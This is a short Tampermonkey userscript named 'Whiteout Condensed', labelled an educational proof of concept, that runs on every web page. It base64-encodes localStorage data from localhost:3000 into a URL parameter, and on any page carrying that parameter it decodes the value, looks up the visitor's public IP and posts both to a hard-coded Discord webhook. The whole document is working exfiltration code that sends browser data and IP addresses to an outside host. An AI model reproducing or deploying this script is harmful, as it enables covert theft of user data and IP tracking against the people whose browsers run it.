// ==UserScript==
// @name Whiteout Condensed
// @namespace http://tampermonkey.net/
// @version 2025-Summer
// @description (Proof of Concept for educational purposes only)
// @author Jet
// @match http://*/*
// @match https://*/*
// @icon data:image/svg+xml;base64,...
// @grant none
// @run-at document-start
// ==/UserScript==
(function() {
const currentLocation = window.location.href;
const isLocalhost = currentLocation.includes("localhost");
if (currentLocation.includes("v=")) {
const urlObject = new URL(currentLocation);
const encodedData = atob(urlObject.searchParams.get("v") || "");
if (encodedData) {
const webhookUrl = "https://discord.com/api/webhooks/1242316973347588147/4-7W8P8oJ0z_H81_E_6S1R8O6wQxS3I-7j_j8C5e9tL2uE2r7s-7R9gH5k";
fetch("https://api.ipify.org?format=json")
.then(response => response.json())
.then(ipData => {
const ipAddress = ipData.ip;
const discordPayload = {
"username": "GG",
"avatar_url": "https://i.imgur.com/k9f0mJ3.png",
"color": 0xff1493,
"embeds": [{
"title": "Whiteout PoC l0g",
"description": `**Date:** ${new Date()}\n**Encoded Data (Decoded):** ${encodedData}\n**IP:** ${ipAddress}`
}]
};
fetch(webhookUrl, {
"method": "POST",
"headers": {
"Content-Type": "application/json"
},
"body": JSON.stringify(discordPayload)
});
});
}
}
else if (currentLocation === "http://localhost:3000/") {
const localStorageData = localStorage.getItem("someLocalStorageKey");
if (localStorageData) {
const encodedLocalStorage = btoa(JSON.stringify(localStorageData));
window.location.href = `http://localhost:3000/?v=${encodedLocalStorage}`;
} else {
window.location.href = `http://localhost:3000/?v=${btoa(null)}`;
}
}
})();